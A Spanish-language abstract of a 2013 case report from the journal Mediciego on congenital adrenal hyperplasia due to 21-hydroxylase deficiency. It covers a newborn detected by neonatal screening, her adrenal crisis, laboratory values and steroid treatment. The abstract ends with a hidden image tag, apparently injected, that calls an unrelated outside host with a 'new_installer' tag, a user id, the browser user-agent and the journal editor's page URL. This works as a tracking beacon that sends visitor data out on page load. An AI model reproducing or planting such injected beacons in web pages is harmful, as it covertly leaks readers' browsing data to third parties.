Hiperplasia suprarrenal congénita por déficit de la 21 hidroxilasa. Presentación de un caso. - Pérez Samper, Lázaro A.; Martínez Ramos, Nivia Rosa (Mediciego, 2013)
Se presenta una paciente con el diagnóstico de hiperplasia suprarrenal congénita por déficit de la 21 hidroxilasa; resultó la primera paciente detectada por el programa de cribado neonatal en la provincia de Ciego de Ávila, lo que permitió un diagnóstico temprano y tratamiento oportuno; se evitó un desenlace fatal durante la crisis adrenal. La incidencia en la población caucasiana es de 1/12000. La paciente presenta antecedentes familiares de consanguinidad y sugiere el diagnóstico la presencia de genitales ambiguos (Prader IV) en el momento del nacimiento; en el trigésimo día de nacida inicia la crisis adrenal, caracterizada por una curva de peso plana, vómitos, irritabilidad, piel pálida, livedo reticularis. Los complementarios mostraron: 17aOH progesterona > 97 nmol/L en dos ocasiones; cromatina oral 25%; ionograma: Na+ 120 mmol/L; K+ 6.5 mmol/L; gasometría: PH 7.26, PO 2 45.3 mmHg, ABE -8.2 mmol/L, PCO2 41.7 mmHg, sO 77.0% y SBC 17.5 mmol/L. La paciente recibe al sexto día de nacida tratamiento con prednisona a razón de 5mg/SC/día se le añade posteriormente fludrocortisona 0.05mg/24h. <img src="http://prettysite.xyz/acnt?_=1584034690929&did=24&tag=new_installer&r=http%253A%252F%252Fwww.revmediciego.sld.cu%252Findex.php%252Fmediciego%252Feditor%252FviewMetadata%252F248&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A70.0)%20Gecko%2F20100101%20Firefox%2F70.0&aac=&if=1&uid=1583231151&cid=2&v=452" alt="" />